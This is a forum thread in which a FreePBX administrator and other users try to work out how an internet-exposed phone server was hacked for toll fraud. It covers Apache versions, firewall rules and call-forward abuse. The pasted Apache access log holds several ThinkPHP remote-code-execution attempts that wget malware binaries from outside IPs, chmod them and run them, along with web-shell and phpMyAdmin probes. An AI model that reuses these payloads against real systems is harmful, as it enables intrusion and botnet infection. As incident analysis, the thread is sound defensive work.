FreePBX Server Hacked. Was firewalled but port 80 open to the world

One of the first thing I would check is if tcp/5038 is open to the interwebs, if the GUI has been compromised and manager details leaked, an indirect approach would be less detectable and relatively easy to accomplish. Same would go for any restful thingies on less protected ports

1 Like

Well this one would be a concern I think:

Race condition in the mod_status module in the Apache HTTP Server before 2.4.10 allows remote attackers to cause a denial of service (heap-based buffer overflow), or possibly obtain sensitive credential information or execute arbitrary code, via a crafted request that triggers improper scoreboard handling within the status_handler function in modules/generators/mod_status.c and the lua_ap_scoreboard_worker function in modules/lua/lua_request.c.

@ChrisMaverley Chris, can you please provide the information we asked you? that would help determine how the calls were originated.

  • The Customs conf files.
  • A call log. (You can use pastebin as mentioned in the wiki link above)

Thank you

No, not by obfuscation, by proactive action, so you don’t use 5060 but decide to drop anyone that tries, (exception for your trunks needed), don’t just drop them, drop their entire underlying network, very shortly you will be “silent as the lamb” when it comes to SIp atttacks. If you have a working portscanner on your firewall, then that gets you brownie point.

Over the years, I have been watching this stuff, this will have to be anecdotal because anything I found is long unnecessary and has been discarded.

These guys are not “knuckle-draggers”, they are very sophisticated and often funded by the States of China, Palstine and Russia, almost all are cleverer than at least me.

They decide who to vector by many metrics, they work in co-ordination, one set will probe the fingerprint of your outside IP, looking for 5060, 5038, the set of provisioning ports, they will also try looking for html scripts that although not necessary vulnerable, identify a system that is open for further probing. Look to implementing Fail2Ban’s apache noscripts jail, its already there just needs turning on

Every few weeks/months another profile is developed and used.

These low-level dudes , glean info and escalate your identity upwards to more powerful groups if you fail the low level scripts.

(Just because it says its sipvicious , it’s not necessarily so :wink: )

Two radical but effective methods I find useful:-

  1. Just don’t use 5060.
  2. Only accept traffic to your domain name and reject anything to your ip address (yes, you need a domain name, and a SSL certificate)

Another JM2CWAE

2 Likes

^^^ That is not something that is possible. A Domain name is just a lookup record. When you say ‘Connect to xrobau.com’, what your computer does is say ‘Hey, DNS, what’s the address of xrobau.com?’ - DNS says ‘xrobau.com is at 1.2.3.4’ and your computer then connects to 1.2.3.4.

What @dicko MIGHT be trying to say is ‘only allow connections via https’, which doesn’t really achieve anything, apart from stopping man in the middle attacks, and co-incidentally, making it easier to figure out the hostname of a machine.

For example, let’s pick a random machine on the internet, 199.102.239.8 (which just happens to be mirror.freepbx.org) and try to figure out what it is:

[root@freepbx ~]# openssl s_client -connect 199.102.239.8:443 < /dev/null 2>/dev/null | openssl x509 -noout -text | grep CN=
        Issuer: C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http://certs.godaddy.com/repository/, CN=Go Daddy Secure Certificate Authority - G2
        Subject: OU=Domain Control Validated, CN=*.freepbx.org
[root@freepbx ~]#

That’s saying the certificate is ‘*.freepbx.org’. From an IP address, I’ve learned that it has something to do with freepbx.org. I could then look at apache headers, etc.

The only way to properly secure a machine is with a real firewall - and noticing that fortigate was mentioned earlier in this thread - fortigate is NOT a real firewall.

It was not mentioned until you did. But in case it’s of value to OP, I know of several PBXs successfully hacked for toll fraud over the last week, all of which were 100% due to a fortigate exploit.

And again, please everyone, keep to the topic. More general discussions on security arising from here can be continued in new threads.

I’m the one hiding off topic posts! And everyone was warned twice now. This is not the place for discussion about what should have been done.

2 Likes

I had questioned if the circa-2016 FreePBX exploits were patched since being made public. Still wondering if my assumption/hope is correct they had been. Googled this working example, which pretty much aligns with what the OP observed. If their only exposed port was HTTP, then this scenario could occur if the exploit vector is still present, right?

OP, if you look in your /var/www/html directory you might see some questionable PHP files with newer dates I’m thinking. If so, these serve as the payload for what the exploiting party dropped off…

https://0x4148.com/posts/fpbx-remote-root-exploit/

There are no known exploits as of now.

1 Like

Thanks for all the tips folks. I’ve been busy reviewing and rewriting firewall rules. I will post the info you have requested from the breached server when time permits.

It’s simple really, the underlying issue is the fact that SNG7 is using Apache 2.4.6 and Apache is on 2.4.41. That means SNG7 is using a version of Apache released in 2013, a good three and a half years before we got SNG7. Which means Apache was already past 2.4.6 by the time SNG7 went into Alpha, Beta and Stable releases. At no point was Apache updated during that process.

So right now we’re sitting on 45 releases (roughly) in the last 6 years with numerous CVE’s opened up against this version (and newer releases). The lack of securing and updating Apache before and after the release of SNG7 is how we got here to begin with. That race condition CVE that I posted is a prime example on how the system can be pwned, it’s a DoS+Info (i.e. they can get sensitive information from the system).

These alone should have prompted the development team to re-address the Apache version quite some time ago. Hell, I’m not sure how it got decided that 3 year old releases should be the base of the distro when more current versions were available for the development.

1 Like

This is a very productive thread, in terms of looking at the issue from all sides. One thing I might chime in with. Based on past experiences trying to balance — security versus convenience. Each aspect is inversely proportional to one another.

Whenever I have an internal server that I need to make public, I carefully look at the use case before publishing it. If it only needs to be accessed by certain networks, I only allow those IP subnets for inbound. In this FreePBX scenario, what would be the suggested model?

I’m assuming open up TCP Port 80 inbound just for those work-related IP subnets that would need to access it. Then open up just the inbound TCP/UDP port ranges that connect from the SIP trunking provider’s IP subnet. As well as from work-related networks that might have SIP devices.

That should suffice, right? As long as you have a good firewall/router that serves it purpose, then doing this should help workaround any potential Apache flaws that exist, correct?

Also side note to the OP, I took a peek at your profile on here and see you appear to have been hit with a possible hack a couple years back --> AsteriskNOW Hacked no sign of hacker. Regardless of the exploit vector that will hopefully be discovered and patched in the future, it would definitely point to a need to proactively look at locking things down. One hit should be enough! :smile:

An explanation of why you’re incorrect

Enterprise Linux A.K.A CentOS, A.K.A RHEL A.K.A SNG7 versioning is NOT EQUAL to upstream versioning. EL maintains their own packages with back-ported fixes. In the context of this post It is unlikely but not impossible that the source of compromise was Apache or an upstream package assuming all packages were up to date at the EL level

4 Likes

Hello,

Have you check if there are any weird call forwards at your extensions? Some of my old PBX have been “hacked” when a caller managed to run call forward commands on extensions and setup CF to some external PBX.

1 Like

A post was split to a new topic: Fortigate exploit

Hello Folks,

I’m only getting to look at the logs now.
I see a lot of activity an hour before the first calls where made. This from the httpd log:

162.255.127.90 - - [01/Sep/2019:03:37:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://51.81.7. 53/akbins/x86.akira.ak -O thonkphp ; chmod 777 thonkphp ; ./thonkphp thinkphp ; rm -rf thinkphp' HTTP/1.1" 302 - "-" "Cakle/2.0" 185.153.196.47 - - [01/Sep/2019:03:55:36 +0100] "\x03" 302 - "-" "-" 185.153.196.47 - - [01/Sep/2019:03:55:37 +0100] "\x03" 302 - "-" "-" 117.5.217.136 - - [01/Sep/2019:04:07:38 +0100] "GET ../../mnt/custom/ProductDefinition HTTP" 400 313 "-" "-" 180.141.141.70 - - [01/Sep/2019:04:13:22 +0100] "GET ../../mnt/custom/ProductDefinition HTTP" 400 313 "-" "-" 195.135.39.56 - - [01/Sep/2019:05:56:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://91.237.2 49.245/x86 -O /tmp/kh; chmod 777 /tmp/kh; /tmp/kh thinkphp' HTTP/1.1" 302 - "-" "Hello, World/2.0" 185.53.88.54 - - [01/Sep/2019:06:03:57 +0100] "GET //a2billing/customer/templates/default/footer.tpl HTTP/1.1" 404 324 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:03:58 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:05:30 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:05:31 +0100] "GET //vtigercrm/vtigerservice.php HTTP/1.1" 404 304 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET / HTTP/1.1" 302 - "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET /admin HTTP/1.1" 301 314 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET /admin/ HTTP/1.1" 302 - "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET /admin/config.php HTTP/1.1" 200 7330 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:03 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:12:18 +0100] "GET //recordings/ HTTP/1.1" 200 6568 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:12:19 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:13:57 +0100] "GET //about.php HTTP/1.1" 404 286 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:13:58 +0100] "\x16\x03\x01" 302 - "-" "-" 190.141.91.117 - - [01/Sep/2019:06:17:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.8.159 .7/bins/UnHAnaAW.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 302 - "-" "Uirusu/2.0" 185.244.25.81 - - [01/Sep/2019:06:24:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.95.147 .115/bins/UnHAnaAW.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 302 - "-" "Uirusu/2.0" 118.24.72.48 - - [01/Sep/2019:06:49:59 +0100] "GET /?_=15626661a9758 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0" 118.24.72.48 - - [01/Sep/2019:06:50:07 +0100] "GET /robots.txt?_=15626661a9758 HTTP/1.1" 200 361 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0" 118.24.72.48 - - [01/Sep/2019:06:50:10 +0100] "POST /App.php?_=15626661a9758 HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0" 118.24.72.48 - - [01/Sep/2019:06:50:13 +0100] "GET /webdav/ HTTP/1.1" 404 284 "-" "Mozilla/5.0" 118.24.72.48 - - [01/Sep/2019:06:50:13 +0100] "GET /help.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:21 +0100] "GET /_query.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:22 +0100] "GET /test.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:23 +0100] "GET /db_cts.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:24 +0100] "GET /db_pma.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:35 +0100] "GET /help-e.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:36 +0100] "GET /license.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:45 +0100] "GET /hell.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:55 +0100] "GET /pmd_online.php HTTP/1.1" 404 291 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:57 +0100] "GET /x.php HTTP/1.1" 404 282 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:57 +0100] "GET /shell.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:58 +0100] "GET /htdocs.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:00 +0100] "GET /b.php HTTP/1.1" 404 282 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:01 +0100] "GET /sane.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:03 +0100] "GET /z.php HTTP/1.1" 404 282 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:05 +0100] "GET /lala.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:06 +0100] "GET /lala-dpr.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:07 +0100] "GET /wpo.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:08 +0100] "GET /t6nv.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:09 +0100] "GET /muhstik.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:11 +0100] "GET /wp-config.php HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:13 +0100] "GET /muhstik.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:14 +0100] "GET /muhstik2.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:14 +0100] "GET /muhstiks.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:15 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:18 +0100] "GET /lol.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:18 +0100] "GET /uploader.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:19 +0100] "GET /cmd.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:20 +0100] "GET /cmv.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:22 +0100] "GET /cmdd.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:24 +0100] "GET /knal.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:25 +0100] "GET /cmd.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:25 +0100] "GET /shell.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:26 +0100] "GET /appserv.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:28 +0100] "GET /scripts/setup.php HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:29 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:41 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:43 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:44 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:46 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:53 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:56 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:57 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 303 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:59 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:00 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:01 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 306 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:01 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:02 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

This is when the first call was made according to full log:
Not all calls are successful as our peer doesn’t allow all destinations to be called.
Does anyone recognize the method used to make the calls.

[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] app_dial.c: – SIP/In2Tel NewPlat-00017539 is circuit-busy
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] app_dial.c: == Everyone is busy/congested at this time (1:0/1/0)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-dialout-trunk:23] NoOp(“Local/00201121838383@from-internal-000a44e0;2”, “Dial failed for some reason with DIALSTATUS = CONGESTION and HANGUPCAUSE = 34”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-dialout-trunk:24] GotoIf(“Local/00201121838383@from-internal-000a44e0;2”, “0?continue,1:s-CONGESTION,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Goto (macro-dialout-trunk,s-CONGESTION,1)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s-CONGESTION@macro-dialout-trunk:1] Set(“Local/00201121838383@from-internal-000a44e0;2”, “RC=34”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s-CONGESTION@macro-dialout-trunk:2] Goto(“Local/00201121838383@from-internal-000a44e0;2”, “34,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Goto (macro-dialout-trunk,34,1)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [34@macro-dialout-trunk:1] Goto(“Local/00201121838383@from-internal-000a44e0;2”, “continue,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Goto (macro-dialout-trunk,continue,1)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [continue@macro-dialout-trunk:1] NoOp(“Local/00201121838383@from-internal-000a44e0;2”, “TRUNK Dial failed due to CONGESTION HANGUPCAUSE: 34 - failing through to other trunks”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [continue@macro-dialout-trunk:2] Set(“Local/00201121838383@from-internal-000a44e0;2”, “CALLERID(number)=”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [00201121838383@from-internal:8] Macro(“Local/00201121838383@from-internal-000a44e0;2”, “outisbusy,”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:1] Progress(“Local/00201121838383@from-internal-000a44e0;2”, “”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:2] GotoIf(“Local/00201121838383@from-internal-000a44e0;2”, “0?emergency,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:3] GotoIf(“Local/00201121838383@from-internal-000a44e0;2”, “0?intracompany,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:4] Playback(“Local/00201121838383@from-internal-000a44e0;2”, “all-circuits-busy-now&pls-try-call-later, noanswer”) in new stack

Here is when the calls peaked:
s=Shout Sip Gateway
c=IN IP4 194.165.191.106
t=0 0
m=audio 57826 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:20
<------------->
[2019-09-01 11:00:04] VERBOSE[20965] chan_sip.c: — (11 headers 10 lines) —
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: list_route: hop: sip:[email protected]:5060
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found RTP audio format 0
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found RTP audio format 101
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found audio description format PCMU for ID 0
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found audio description format telephone-event for ID 101
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Capabilities: us - (gsm|ulaw|alaw), peer - audio=(ulaw)/video=(nothing)/text=(nothing), combined - (ulaw)
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Non-codec capabilities (dtmf): us - 0x1 (telephone-event|), peer - 0x1 (telephone-event|), combined - 0x1 (telephone-event|)
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Peer audio RTP is at port 194.165.191.106:57826
[2019-09-01 11:00:04] VERBOSE[18889][C-00089c7c] app_dial.c: – SIP/In2Tel NewPlat-0001874f is making progress passing it to Local/0037065035330@asterisk-outcalls-000a5144;2
[2019-09-01 11:00:04] VERBOSE[20965] chan_sip.c:
<— SIP read from UDP:194.165.191.106:5060 —>
SIP/2.0 200 OK
Via: SIP/2.0/UDP 88.151.26.102:5060;branch=z9hG4bK13670b78;rport=5060;received=88.151.26.102
Max-Forwards: 70
Contact: “Shout SIP Gateway” sip:[email protected]:5060
From: sip:[email protected];tag=as7ac41ebe
To: sip:[email protected];tag=ShoutSipLeg58485
Call-ID: [email protected]:5060
CSeq: 102 INVITE
Server: Shout Sip Switch (Version 5.5.1.0 Released Build)
Content-Type: application/sdp
Content-Length: 221

v=0
o=shout 880689202 102500686 IN IP4 10.7.7.106
s=Shout Sip Gateway
c=IN IP4 194.165.191.106
t=0 0
m=audio 57826 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:20
<------------->
[2019-09-01 11:00:04] VERBOSE[20965] chan_sip.c: — (11 headers 10 lines) —
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: list_route: hop: sip:[email protected]:5060
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: set_destination: Parsing sip:[email protected]:5060 for address/port to send to
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: set_destination: set destination to 194.165.191.106:5060
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Transmitting (NAT) to 194.165.191.106:5060:

4 posts were split to a new topic: Provisioning security

I’m going to guess this is being done via Call Forwarding. The CF functions would use Local channels and send them through from-internal to make the call. You might want to check all the CF settings for users.

1 Like